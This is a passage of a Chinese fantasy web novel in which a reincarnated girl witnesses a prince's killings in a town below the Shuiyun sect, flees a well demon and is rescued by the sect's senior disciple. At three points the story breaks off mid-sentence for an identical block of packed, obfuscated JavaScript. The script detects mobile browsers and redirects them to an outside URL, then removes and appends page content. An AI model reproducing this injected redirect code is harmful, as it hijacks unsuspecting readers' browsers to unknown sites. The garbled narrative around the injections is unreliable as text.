唐含走在后面,看这小女孩走路端端正正,半点不慌,小声嘀咕:“这孩子怎么这么老成?” “你说什么?”木音直听见后半句,一回头,见路边好几个农户也在看自己和唐含。 其中一个大叔用拖车拉了一车粪,臭气熏天,不少人见状,捂住口鼻,纷纷避开。木音故意不改道,看唐含的反应。 拖车旁吃饼的小孩和她擦肩而过。小孩年纪比她小,浑身脏兮兮的,唯有还没长齐整的牙齿最白。他正用牙磨坚硬的饼子,米黄色的碎屑糊满嘴唇。 见木音看过来,小孩下意识将饼子往怀里搂了搂,舔干净嘴上的碎屑。 木音:“……”倒也不必,这饼子是真的硬。 她包袱里还有一大半,中午管事的扔给她,她饿得慌,愣是没吃完。 唐含走近拖粪车,眼睛微眯,目光向旁侧微微偏移,和拉车的农户轻轻颔首,打过招呼。 木音留意到这一幕,悬着的心放下一半。看起来,唐含是个有身份、品行还不错的人,今晚蹭蹭他的便宜应该不会出事。 刚刚他提到人贩子,木音本能地警觉起来。 无论在什么时代,人贩子真是个稳定且有很高传承性的职业。这个世界没有缅·北,但有皇帝,有大臣,说不定还有奴隶。 一想到自己说不定哪天还会给人脱鞋袜、穿衣服、跪着说话……木音顿时觉得桌上的菜异常可口,管他是菜是肉,吃一口少一口。既然有机会重新来过,活着,就要当快死了去活! “你……饿死鬼投胎。”唐含被桌上快速消失的菜整无语了,抬手让小儿再上几个荤菜。 “谢谢谢谢。”木音真心觉得这小伙子是个好人。 等吃完饭,往楼上走的时候,她的警戒心又跳出来摇旗呐喊。 这家旅舍干净整洁,宽敞亮堂,围栏上一米一个巨大的灯笼照明,如此舍得,在这睡一晚得花多少钱?这人会不会觉得自己年纪小,要同睡一间? 她是看着年纪小,不是真的不懂事啊。 “你睡这,我在你隔壁。”唐含替她打开门,露出屋里的陈设,一张床,一套桌椅,一个梳洗的架子,两根蜡烛,一扇窗户。 “……多谢。”好像除了这两个字,木音找不到其他说辞。 这小伙子实在太好,好到哪怕是接受九年义务教育、顺利读到大学的木音都没办法做出一样的事,甚至让她觉得自己和这个时代格格不入。 她从小接受的教育是要她敢做担当,而身边的人告诉她,不要做圣母,遇到麻烦事能甩则甩。 “晚安。”木音轻叹一声,关门。 唐含乍一听没听懂,略微思索后明白了,微微拱手作揖,“那就祝你一夜好眠。” 脚步声在走廊上响起,越来越远,直到“咯哒”一声,隔壁的门关上了。 木音从床上坐起来,包袱甩在床头,她拖个凳子坐在窗边,推开窗户,俯瞰楼下的情形。 入夜后,木旗镇一片寂静,主干道贯穿东西,偶有几处灯火通明,都是有客人留宿的店家,从百里旅舍往东二百米,是那株百年老树,附近都是仓库,一条条小巷深入民居内部。 水云门每十天下山采购物资,她要想留下来,就必须往西边走,甚至,走出这个镇子。 西边,寥寥灯火,密密地织成一张网。 “西边有什么?”冷不丁,唐含的声音和夜里的冷风一起窜过来。 被逮个正着,木音吓了一跳,循声望去,唐含正推开窗户望着自己,两扇窗户相距三十厘米左右,攀墙过来,轻而易举。 “……你不困吗?”她打个哈欠,顺势拿开支撑窗户的木棍,准备关窗。 “睡觉一定要关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15089020|163616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好门和窗,镇上不安全,这家旅舍……”话没说完,一只青色小箭飞射而来,正中唐含的肩膀,血花飞溅,早已被夜里的寒气冻住的窗户纸骤然绽开朵朵红梅,迅速晕染、盛开。 唐含掀起窗户,纵身跃到木音的窗边,提起窗缘,跳进屋内,一只手按在木音的头上,将她护在墙内,整个动作行云流水,一气呵成。 血顺势滑过箭头,滴到地上,在木音眼里落成一滴圆钮,她大气都不敢喘;铁锈味渐渐漫进鼻腔,迫使她不得不瞪大眼睛,集中注意力;就快忍不住要晕厥的时候,她慢慢后仰,将视线往上移。 唐含捂住伤口,抽出腰间别的小刀,撕开伤口附近的衣服,借窗边的蜡烛光查看伤势。 武器早已不见,只留下一个半指长的小洞,皮开肉绽,血正汩汩涌出,四周的皮肤没有变黑变紫的迹象。 “站在我的面前,还敢分心?清风卫果真名不虚传,艺高,人,也胆大。” 木音先是闻到淡淡的木香,然后听到窗外略带挑衅的声音,她微微偏头,视线移向窗外,一个堪称完美的尖下巴率先映入眼帘。 只见那人轻启薄唇,细如柳叶、红如牡丹的嘴巴说出的话让木音浑身冰凉,如坠冰窟:“护着她干什么?镇上那些消失的小孩,哪一个不是被你们运出去的?既然敢将这脏水泼给我,你们何不做得更绝一点,屠一座城,哦,不对,是镇,这地方向来容易出事,正好将杀人如麻的恶名也栽在我头上。想必四皇兄对此事是喜闻乐见的。” “卑职不敢妄加揣测。”唐含吐出干巴巴几个字,喉结贴着风刃滚动,垂落在脸颊两侧的发丝瞬间被斩断。 “不敢?”那人“嗯”一声,音调像坠落的风筝,时缓时急,惑人心神。 木音蹲在地上,身体不受控制地想站起来,摁在头顶的手微微用力,又把她按回去。她骤然清醒,心里一阵后怕,背后都是冷汗。 “卑职只是一枚微不足道的棋子,杀了我,杀了这个孩子,守在镇外的人马一旦和我失去联系,就会冲进来,还望六皇子三思而行。”唐含感到脖颈上有点刺痛,温热的血慢慢流下来,洇湿衣领,冷冰冰的,贴着锁骨。 这番话以退为进,搏求生机,木音真想站起来替他喝彩。 如今的木旗镇就是一个围城,城外都是人马,城里的人想出去,得掂量掂量自己手里的筹码。显而易见的,活着的唐侍卫价值更高。 “唐侍卫,你在威胁我?” 明白人!木音心里一喜,呼吸都大声些。 “啵——呲——咚”眨眼间,唐含的头颅落地。那双眼睛还睁着,眉中一派严肃之色,正一眨不眨看向前方;红得发暗的血四处飙射,床幔,桌上,地上,唐含的脸上……到处都是血。 “哦,还有你。” 和那双桃花眼对视一瞬间,木音立即错开视线,低头一看,满地都是红艳的血迹,她低声喃喃道:“好多……” “砰”一声,她倒在地上。 风刃凭空凝聚,快速斩向她的脖颈。 就在皮肤的细绒毛被割断,即将割破皮肤,划开血管的时候,风刃散了。 继荣琴勾起唇角,随手一提,把人带走。 5. 5 夜色氤氲,冰凉的露水垂挂在草叶上。树林里,两百多人守在原地,背上弓弩,手持长枪,静候消息。 一匹快马从镇上疾驰而出,在十里外的树林停下。 来人翻身下马,小跑到首领面前,毕恭毕敬行礼:“弥梭,唐含今晚没传回消息。” “明日,萨米纳领一队人进去,若是找不到唐含,或者,没收到他的消息,我们连夜攻入。”首领操一口独属于塞北荒漠的口音,果断下达命令。 紧靠弥梭的勇士上前一步,月光透过树林,照亮他脸上绿青交错的油彩:“弥梭,木旗镇紧邻修仙门派水云门,我们冒然攻入,制造杀戮,恐怕会引来修仙者和人族的嫌隙。” 弥梭昂起头,□□的马儿似乎有所感应,扬蹄喷气。 弥梭勒住缰绳,调整站姿:“若是惊动修仙者,我们就将那群孩子送出来,就说是木旗镇滋养歪风邪气,我们路过不平,好心相助。不给那群孩子吃喝,等到了关键时刻,一点水和几块饼就能为我们澄清身份。” “四皇子准备的宝物可以平息水云门的怒火,人族和修仙者向来是用敬献宝物的手段平息事端,我们冒然打破规则,会不会太冒险?”摩达尔有些担忧。 水云门不比其他小门小户,修仙界就三大门派,水云门位列其一,千年的庞然大物,不得不审慎对待。 弥梭嗤笑一声:“打破规则?只要木旗镇还有一人活着,那些孩童对修仙者的价值就绝不低。你的萨米没告诉你,修仙者也是一群沽名钓誉的家伙,他们也曾是人类。比起宝物,他们更希望那些活下来的人走南闯北,多多宣传自己的事迹。” 萨米,是他们一族对夫子的统称,就像弥梭,是对首领的统称。 摩达尔不再多言,驾驭马儿往后退,回到原来的位置。 黎明即起,木旗镇沉寂一夜,终于开始热闹起来,卖菜的开始吆喝,没多久,卖家禽的也用扁担挑起笼子过来,一时间,走到哪儿都能听到嘈杂声。 木音是被鸭子的叫声吵醒的。 十几只鸭子蹲在楼下,叽里呱啦一通乱叫,要是被人看上,拎着翅膀提起来,它会叫的更大声、更难听。 木音一睁眼就觉得两臂酸麻,跟快没了似的。 抬头一看,她的双手被绑在床柱子上,大概率是就这么绑了一夜。 再加上她憋了一夜没上厕所,肚子难受,偏偏那个杀人不眨眼的家伙还在嗦米粉,米粉好香好辣,她好饿,还想上厕所! “那个,我想去方便一下。”她低着头,不敢直视杀人魔的眼睛。 嗦米粉的声音连绵不断,那个家伙似乎没听见,一口接一口,哈出来的气都带着辣辣的香气,激起木音的生理反应。 ……这个小孩生活质量太差,肯定没得过痔疮,错觉,都是错觉。 “我想去方!便!”她加大音量,尤其是最后两个字,说着说着,口水都喷出来了。这下,她还有点口渴,想喝水。 让人流口水的声音停下来了,接着,是凳子被挪动的声响,杀人魔一步一步走过来,暗红色的袍子随之摆动,隐约露出一双绣上金线的鞋子。 “方便?” “去茅厕。”木音生怕他听不懂,特意换个说法。 继荣琴抬手划过绑在床柱上的绳子,绳子无风自断,他拎起小孩的一侧肩膀,半拖半拽将人拉去“方便”。 木音蹲在木桶上,呆呆地看着一米外的“巨人”。 这个杀人魔绝对有一米八,光是看个子,她都觉得瘆人,更何况,这人压根不知道避嫌两个字。 她低头看自己的小手,默默在心里哀嚎。 “你……能不能出去?” “不能。”继荣琴不仅拒绝她,还转过脸直视她的眼睛,一板一眼地说话。 木音:…… 差点就被吓死了。 就在这时,有人敲门,“咚咚”两声后,来人说话了:“我乃清风卫,赵颖,百里旅舍出现命案,我等奉命搜查,里面的人,出来!” 继荣琴冷笑一声,慢慢吞吞往门口挪去。 赵颖哪等得了这么久,刚数到十个数就要推门闯进去。 门被打开一道缝,继荣琴抬脚踹上去,力道之大,不仅门突出一块,两个前来搜查的大男人还被反弹到围栏上。 大堂里前来吃饭的客人被吓得不轻,女子的尖叫声此起彼伏。 木音听见门外的动静,想过先溜走。可人有三急,过了这村没这店,她用力吸几口气,下定决心——用手捂住耳朵。 好不容易有安静的环境解决个人问题,尖锐悠长的尖叫声生生将她的意念夹断。 “……哎。”她叹口气,重新堵上耳朵,继续蓄力。 门外一片狼藉。二楼的客人听说凶手就在旅舍内,慌忙跑下楼。 赵颖身手不错,借围栏荡秋千跳上来。 “不是说这间屋里住的是和他同行的小女童吗?这屋里有问题!来人啊,快来人去搜!”话音刚落,一群全副武装的异族人冲进来,手持长枪,以二楼那个房间为中心,分散布防。 继荣琴抬手推开门。 他环视一圈,将目光聚焦在头戴三角山羊头骨的人身上:“我记得,你这一族敬奉三角山羊,远居塞北荒漠,族人稀少,竟也愿意来京城掺和一脚。弥梭,京城中有些事传的沸沸扬扬,你的山羊之神没告诉你这其中的一部分的确是真的?即便是这样,你也不怕?” 弥梭微微仰头,目不斜视,毫无畏惧之意。 六皇子继荣琴,妖妃妙贵妃之子,继承母亲冠绝千古的美貌,却在丧母后被宦官养大,几乎算是遗弃深宫。据说以前皇宫里唱戏,有几次被这位皇子混进去,当时无一人察觉。 弥梭没从这位皇子的眼神中看到戏子的半分谄媚和一点畏惧,他只看到那张俊美如神明的脸庞有着不同于山羊之神但同样坚毅、悲悯的神色,或许是四皇子骗了他,又或许齐相猜对了,六皇子唱了一场十八年的戏,戏弄所有人。 但此刻,他已无路可退。 “山羊之神会指引我等前往正确的未来,我们的路从未平坦。” “真可惜。”短短三个字轻轻落下,继荣琴随手捏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15089021|163616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诀,一道咒语打出,无风而起,灯笼摇摆,气压被挤压、凝实,顷刻间将百里旅舍斜劈成两半。 继荣琴从断裂的围栏上削出一个三角锥,反手射进缝隙里。 上一秒,大厦将倾,下一秒却已经安然无恙。 木音寻着血味儿走出来。 满地都是血,大片大片的,从楼上流淌到台阶上,淅淅沥沥的,形成一条小溪,一直流淌到地上,大堂中央的土地略微有些凹陷,此刻聚成血泊,慢慢扩大。 她站在杀人魔后面,无法相信自己的眼睛。 怎么可能、怎么会有修仙者用法虐杀普通人!那些人只是困住这个家伙,他明明可以捏个口诀,凭空消失,或者掏出法器……不管怎么样,这家伙都能逃脱啊,为什么要在镇上、在外面那么多双眼睛下虐杀普通人? 她甚至都没察觉和杀人魔对视时内心的颤抖。 “时机正好,你‘方便’好了。”继荣琴对那两个陌生的字眼非常感兴趣,反复把玩。 木音即将涣散的瞳孔逐渐聚焦。 “你也是这么杀了唐含小公子吗?”提到那个人,她的心里满是遗憾和痛苦。那的确是个不可多得的好人,好到让她这种自认为自私刻薄的人都无话可说。 那人佩戴长刀,身手敏捷,定然是多年锻炼的结果。那些努力没有得到应有的尊重,都被这家伙的一道法术践踏了。 继荣琴有些诧异,凑到木音面前,盯着她的眼睛,轻声问道:“你,在为他可惜吗?” “他不值得吗?”木音反问他,声音嘶哑。 继荣琴微微挑眉,抬手捏出一道法术,将木音定在原地,再从储物袋中掏出一柄泛着青色光泽的长剑,让她握紧。 一切准备就绪,继荣琴盯着她的眼睛,笑了:“从最近的集镇到这里,快马需要五个时辰,往返要十个时辰,从天亮到天黑,你有十个时辰慢慢思考。” “这里就在水云门脚下,你觉得你能跑得掉吗?”木音吸了吸鼻子,内心没有刚才那么慌乱,思路也随之慢慢清晰。 木旗镇出事,水云门绝对不会坐视不理,每天往返宗门的弟子那么多,总有人发现不对劲;外面那些村民害怕归害怕,肯定有人会上山求救。用不了十个时辰,很快,很快就会有人来的。 继荣琴似乎读懂了她的心思,笑得诡异,随口吹个口哨:“指望山上那些天天想着要打破天道束缚、追求自身突破的人救你?二十年前,这里还不叫木旗镇。你猜,它为什么改名?哈哈哈哈哈哈哈,对啊,就因为有井妖作祟,住这的人都死光了。水云门声名在外,被鬼修困扰的人会源源不断地过来。没有村落,他们就建造村落,一代一代又一代。不过短短数十年,山上那些度年如日的修士会关心这的人?这样的修士百年难遇一个。我一向运气好,凑巧遇到一个。” 凑巧遇到一个? 脑中灵光乍现,木音顿悟了,这家伙留自己一条小命,这些来抓他的人,都在他的设想之内。他从未想过给任何人一条活路。 “卑鄙。” “多谢夸奖,鄙人不胜荣幸。” 6. 6 “各位,放假通知出来了。”宿舍长推开门,手持四张通知单走进来,一一放在其他三人的桌上。 “这是什么?寒假作业?”张玉拉开窗帘,探出脑袋,指着单子问。 “寒假作业还是老三样,读书笔记,毛笔字,钢笔字。这是班主任发下来的表,昨天开会的时候班长忘记去拿,早上办公室门被锁了,现在才送过来,离校之前要填完交给我。”宿舍长边说边拉开椅子,从笔筒里拿出黑笔,开始填写。 张玉从床上爬下来,顺便敲了朱丽绝的床栏。 朱丽绝撩开床帘,扫一圈下面的情况,火速放下手机,爬下床填表。 “填好了交给我哦。”宿舍长填完,又叮嘱一句。 “这种心理健康调查表有什么用啊,我们这帮人大三了还满课,心理健不健康学校没点数吗?”张玉嘟囔几句,也快速填完,将表格递过去。 “她,还没回来吗?”朱丽绝也填好了,交表格的时候看一眼空荡荡的床位和桌子,顺带关心一下蹦迪一整晚还没回来的室友。 “OK,哦,她啊,没事,今年你还是最后一个走吧,她回来你让她填一下。这个表先放在我桌上,你走之前记得送给班长,他要帮老师做事,今年会留到最后。”宿舍长收好三张纸,放整齐。 “最晚是什么时候?”朱丽绝打开手机,瞄一眼《师妹和她的108个男人》,清空刚刚被无聊问题占据的脑容量。 “可能要到过年吧,班长和老师是邻居,他说到时候会一起回家,那肯定不在学校对我们这些人的计划范围内,绝绝子,你打算在宿舍看小说到最后一天吗?食堂已经关得差不多了。”宿舍长将三张纸转交到朱丽绝桌上,“先给你吧,我要收拾东西回家。” 朱丽绝“嗯”一声作为回应,打开耳机仓,开始沉浸式看小说。 “她又带上耳机了?” “应该是,我听见耳机仓关起来的声音了。” 张玉抬头看一眼紧闭的床帘,和宿舍长对视一眼,悄悄凑过去:“要我说,那张表格给我们填有什么用,浪费纸,那个一天到晚看烂尾小说的心理都还健康着呢,我们怎么可能出问题!” “……烂尾小说有什么好看的?”宿舍长满脸疑惑。 她不看小说,只是对烂尾小说的恶心程度略有耳闻:据说就跟她玩游戏,兴致勃勃玩到中途发现制作人突然换了,更重要的是游戏的初心都被喂屎了的那种差不多。 “要是好看的话……我会觉得她心理不健康吗?”张玉顿了一下,指着自己的脑门,“可能这里也有问题,负负得正吧。我们说她是‘爱吃翔的绝绝子’,她不也不反对吗?” “你好毒啊。”宿舍长抿嘴憋笑,动手收拾东西。 张玉摆出一副无所谓的样子,故意用歪歪扭扭的语调说:“真相总是最伤人心呢~” 朱丽绝将坏了的一只耳机塞进耳朵里,翻个身把听不见音乐的那只耳朵埋进枕头里,继续看别人和原著作者爱玛尼吵架。 “如果你不爱你笔下的人物,为什么要创造这样的世界?连路边的配角都不放过,有头没尾的刀一下,你这样的人就不该写东西出来祸害人!” 对啊,为什么要创造这种世界观? 木音有些绝望地想。 她浑身大汗淋漓,嘴唇干裂,久站之后,肌肉酸痛,身体有脱水的征兆,一些记忆片段在脑中走马灯。 法术的作用下,她动弹不得,只能睁眼看着杀人魔扔下一箱箱宝物。 这些宝箱也不知是从哪儿弄来的,砸穿屋顶,深深嵌入二楼地板中。宝箱个个镶金包银,锁扣脱落。宝物和大量金银从房顶掉下来,接着是空荡荡的宝箱,最后,杀人魔坐在金山银山的顶端,手捧一碗米粉,嗦得正开心。 木音被香晕了。 “你,喜不喜欢?要不要?”不知何时,杀人魔走到面前,将一顶真珠帽搁在她头上。 木音打了个哆嗦。 月光从漏风的房顶洒进来,真珠在月光下熠熠生辉。 手一松,帽子滑落,珠子落在地上,发出“叮叮咚咚”的脆响。 杀人魔又试了金簪、金钗、簪花等看着就价值不菲的头饰,可惜木音年纪太小,头发不够长不够多,压根儿带不上这些好东西。 杀人魔不爽地“啧”一声,解开法术。 如同套进壳子的束缚感骤然消失,木音来不及适应,“噗通”一下扑到地上;她想用膝盖支撑身体站起来,下一秒,膝盖处传来的巨大痛苦轻易击碎这个念头,她完完全全趴在地上,起不来。 杀人魔将一根镶满真珠的金簪递过来,问她:“很好看,对吧?这可是十几年前宫里一位宠妃的遗物,当时皇帝遍寻天下名匠打造,这簪子仅此一只。只可惜,簪在人亡。” 簪子摔在地上,拦腰折断,断口处蹦出一些金色碎屑,在月光下闪烁着夺目的光芒。 恍惚间,木音似乎看到一些歪歪扭扭的藤蔓爬上窗,从窗外探进来。 “啧,真是,也罢,我向来运气不好,倒是你,运气不错。”丢下这句话,杀人魔纵身一跃,从屋顶漏风的大洞跳出去,不见踪影。 木音抓住半截簪子,紧紧握在手里,将尖端对准木地板,一遍一遍地砸下去,震得她手臂发麻,她也逐渐在越来越弱的震感中找到自己的感知。 窗户上确实盘踞着一簇近乎透明的“藤蔓”。 继荣琴飞在空中,沿着藤蔓生长的反方向寻找它的根,他一边飞一边捏几道法术把试图拽他的藤蔓烧断。 烈烈火光中,蒸腾的白色水汽转瞬即逝。 他绕着镇子边缘飞过一圈,发现镇上共有四百五十七个水井口,每一个都可能是这妖物的藏身之处。 井妖,近年来频繁出现在民间、大肆扰民的妖物,依附“人气”而活,“人气”越少,它越弱,若是长达十年无人可依,就会自然消失,因此成为当地官员眼中最不需要费力除去的妖物。 来之前,继荣琴打听过水云门山脚下有一处地方曾有井妖作祟,足足十二年无人问津,没想到这只井妖竟然能熬过人类城镇的更迭,蛰伏在暗中。 眼下,这四百多个水井口可能是它的藏身之地,也可能是它伸手的袖口。若是激怒它,继荣琴摸不准对方的实力;可如若放任不管,他处心积虑布下的棋局就会被连桌子一并掀翻。 就在他犹豫要不要出手时,眼尾的余光扫到西北方那片“藤蔓”移动的趋势,紧接着,他在巷子“藤蔓”里上蹿下跳的芝麻丁儿。 这女娃娃不在百里旅舍好好趴着,怎么这么有精神? 木音跳下房顶,脚踩“藤蔓”一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15089022|163616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路滑到院子里,不小心将围墙下的储水缸打碎;听到庭院的动静,屋里的灯光迅速熄灭。 “藤蔓”通体湿润粘稠,所到之处,粘液遍布。 木音身上也沾了不少粘液。 她一脚踹开后门。巷子里早已被“藤蔓”堵得严严实实,墙上的灯笼被“藤蔓”轻轻缠绕一圈,一眨眼就“滋滋滋”直冒白气。 关上门,她俯身从巨大的“藤蔓”下面穿过,一把抹掉脸上的粘液,直奔院墙墙角。 在“藤蔓”追上来的那一刻,她拿起地上的碎瓷片,用力割开“藤蔓”的角。 一股浓浓的腐臭味在院子里弥漫开来。 “没看出来,你胆子不小。”继荣琴蹲在墙头,抬手扔出一张符箓。淡青色的剑光一闪而逝,“藤蔓”被拦腰斩断,剑气在地上留下足足三尺深的印记。 “这井妖不长眼,你沾上了它的粘液,它就把你当成猎物,追着你不放。” 木音低头扯挂在肩膀上的粘液,腿上的粘液渐渐风干,刚刚沾染的还可以补救……越扯越乱,甚至扯下好几根头发,她在心里叹口气,放弃了。 “杀……不,这位少侠,我看你既不杀我,又没有放我走的意思,不知你意欲何为啊?” 继荣琴接连甩出几道风刃,将周围的“藤蔓”清理干净,低下头问她:“那些珠宝,你可喜欢?” 珠宝? “珠宝美则美矣,我有自知之明。不该是我的,我不敢奢求。还请少侠放我一条生路。” 木音真搞不懂这个神经病。 “这可不行,若是你不喜欢那些珠宝,我的一番美意岂不白费?”继荣琴游刃有余地解决这些井妖的手,还不忘调侃她。 一道“藤蔓”瞄准他的扇子,粘液四射,差点挂在扇柄下的吊坠上,他顿时怒火中烧,甩出一道火符将那片“藤蔓”焚烧殆尽。 “藤蔓”前赴后继奔涌而来,却在杀人魔的严防死守下寸步难进,木音看在眼里,心惊胆战。 她能跑全凭意志和运气,要是再被抓走,之前的努力就都功亏一篑。 但她必须跑! 哪怕被妖物缠上,也好过落在这个杀人不眨眼的家伙手里。替罪羊?想的美! 上辈子做朱丽绝,她就受够了被人拿来挡枪的日子,老爹酒喝多了说她不懂事不会帮着家里人,哥哥打游戏没饭吃也说是她的不对,老妈遇到不顺心的事就骂她,她已经当够了那个家庭一切不幸的替罪羊。死就死,有本事弄死她! 木音瞄见东北角空出一块,穿过那道缝隙,踩着对面的草垛往上爬,翻过围墙;这里的巷子很窄,运气好速度快的话,她能逃到隔壁那户人家的院子里。 时机不等人,她抬脚就跑。 猝不及防之下,一根红色的绳子缠在她腰间,拽住她,让她不得再进一步。 “你……” 庞大的阴影突然从侧方刺来,木音毫无防备。只要一个呼吸的功夫,硕大的“藤蔓”和周围冒出的尖刺就将她碾碎。 千钧一发之际,一柄长剑飞来,正中“藤蔓”。 剑气将院墙一分为二,除了满地的断肢和断开的红绳,似乎什么都没发生。 “水云门赵飞衡在此,助道友一臂之力。” 木音眼前一亮。 大师兄! 7. 7 “大师兄。” “嗯?”赵飞衡用余光瞄一眼还没他一半高的小豆丁,努力回忆这是哪个峰上调皮捣蛋的小弟子。 飞鹤峰的左明?不对,昭崃峰的景荣荣?好像也不是。平日里嚷嚷着山上无聊的小家伙在脑海里统统走一圈也没对上号后,赵飞衡彻底没了头绪。 那些小弟子们平时总囔囔着山上无聊,要下山;今日是玉师妹拜师的日子,不少德高望重的前辈都来观礼,不该想下山啊。 难不成是今日赴宴的仙门中…… 就在这时,井妖的一只手臂从隔壁院子的水井里冲出来,一掌拍下,压倒院墙,直奔木音的天灵盖。 木音被突如其来的声音吓个半死,下意识去抓大师兄的袖子,没成想,她的后衣领被人拎着,整个人迅速升空。 “往哪儿跑呢?”杀人魔呼出的热气被风吹到她耳边。 屋顶上的风很冷,妖怪出没后,空气变得有些湿润,还有股恶臭味和大蒜味儿。 赵飞衡抽空瞟一眼上方似乎在说话的两个人,微微皱紧眉头。这名男子身着华服,容貌艳丽,五官轮廓有点眼熟,他似乎在哪儿见过;更重要的是,那把扇子下的旧吊坠的图案世间仅有一族使用。 ——那是狐族的图腾。 狐族之人走到哪儿都是个麻烦,来他水云门下做什么? “放开我!”有大师兄在场,木音底气足了不少,说话也多点呵斥的意味。 继荣琴微微挑眉,余光扫过地上正在和井妖缠斗的大师兄,领着木音的视线转一圈回来:“你那大师兄就这么好?我看他也没认出你来。” 木音一口咬在杀人魔手腕上。 继荣琴“咝”地抽气,手腕一抖,扇子脱手;他连忙撒开手,去捡扇子。 木音从高处摔到房顶,屁股摔麻了,瓦片也裂开了;脑子懵了一瞬,只听耳边“刺啦刺啦”的声响,大腿火辣辣地疼。 赵飞衡右手用剑劈向两侧,左手捏诀唤出两只树灵,一左一右拉住木音的肩膀,绕开满地碎瓦片,将她慢慢放到地上。 木音站了会儿,摔得晕乎乎的脑子慢慢清醒。 大师兄跟堵墙似的挡在她面前,一手耍剑,一手捏诀,金木水火土风雷七种法术将妖物摁在地上打,又强大又靠谱,真不愧是大师兄。 这种要紧时刻,木音什么忙也帮不上,一边捡自己碎一地的唯物主义世界观,一边唏嘘原著剧情。 要说《师妹和她的108个男人》中最令她惋惜的人,那非大师兄莫属。 大师兄赵飞衡,一个才情、天赋、运气、品行、背景和样貌都近乎完美的六边形战士,上能尊师重道,专心修炼,下能管理宗门,友爱同门,更是女主的青梅竹马,这种设定不就是修仙文男主的标配嘛! 可笑的是,他虽然顺理成章成为第一个待选男主,但在作者的可以安排下,被玉清风用来和之后的N多男人做各种各样的比较,比来比去,大师兄的性格越来越NPC,快结局的时候不仅没上桌吃饭,还在女主屠灭宗门的时候心软放水!人设直接崩出一个太平洋! 真是叔叔可忍,婶婶也不能忍! “你是哪个峰的小弟子,我们可曾见过?”赵飞衡的七分心思在对付井妖上,一分留在身后。一察觉到这个小弟子的情绪波动,他不动神色站在旁边,装作若无其事的样子询问。 木音抬手作揖,刚要说话,一个黑影兜头罩下。 “这是我水云门的弟子,道友为难他,是想和我水云门作对?”赵飞衡一剑刺出,挡在木音和杀人魔之间。 刀光剑影,局势瞬息万变,木音差点吓傻掉。 两片细细的指甲丝轻飘飘掉到她鼻子上,被鼻尖的细汗黏住。 与此同时,六道符箓从赵飞衡的袖口中窜出,直奔后方,一碰到井妖就燃起青色火焰,爆出巨响。青焰燎开黑夜,转瞬间烧到城墙下。所到之处,陆续有十几处井口炸开,地面上蹦出三五米的水花,青白交错,格外精彩。 继荣琴不得不暂时放弃他的猎物,正视这位“大师兄”:“久闻水云门大师兄为人随和,今日一见,果然如此。我与这位小兄弟一见如故,可说不上为难。倒是水云门家大业大,声名在外,连这个逃下山玩的小弟子也不放过?” 小兄弟? 木音低头看一眼自己邋里邋遢,都快瘦成猴样了,狠狠叹口气。世界边角料的命也是命啊,心不苦,命苦。 “水云门有规定,弟子一旦入山,不筑基不得下山。弟子有错,我身为大师兄,自当将他带回去好好教导。”话没说完,赵飞衡感觉有双眼睛在盯着自己。 低头一看,这个小弟子两眼放光,完全没有要受惩罚的萎靡。他压根不明白这孩子在快乐什么。 木音此刻开心到心脏砰砰直跳。 她果然没粉错人,没买错股,那些天天在评论区撕逼的人怎么会懂这个人设的含金量,这是全书最好的大师兄! 继荣琴看那两人明明不认识偏偏有个家伙要表现得很亲切的样子,冷笑一声,讽刺道:“冒险破坏门规也要下山的人,你说带走就带走?” 赵飞衡刚想说话,耳朵一动,地下有东西蠕动的声音听得一清二楚;他向后移一步,推测怪物向上冲的位置,就这一会儿功夫,继荣琴顺手将小东西捞在怀里。 “轰——”一声巨响,尘土飞扬,周围的房屋纷纷塌陷,躲在屋里避祸的人家猝不及防下都被压在泥块和稻草下面。 “你不是逃下山的吗?就这么想跟他走?”继荣琴恨得牙痒痒。 他对这个小乞丐哪儿不好,要珠宝有珠宝,要实力有实力,惹他不开心的,他可以帮他统统杀掉。只要他乖乖听话,往百里旅舍二楼站一天一夜,等邻镇的人来就行。死刑犯临走前只有一顿好饭,他能给他一切! “我……呕。”变故发生太快,木音的大脑还没清醒,身体先给出反应,一边被夹在腰下向前飞,一边吐。 继荣琴嫌弃极了,反手将人甩出去。 眼瞅人就要摔进水缸,后面一道白光追来,他咬咬牙,不甘心,又追上去,抢在那位大师兄前面,在木音距缸体一拳的时候将人拽回来。 木音呕出一口大的粘稠物,全吐在他身上。 木音清醒了,随手一摸,摸到别在腰间的金簪,这是杀人魔扔下的那堆金银财宝中的一支。 她本打算拿了簪子,等到安全地方想办法典当些通行货币,用做以后干生意或是住房、上学读书的成本,现在看来,她如今能否活下来都是个问题,更别提以后。 继荣琴满脸嫌弃地迎风拍打胸口的呕吐物,接连几道“藤蔓”拔地而起,试图拦住他们。 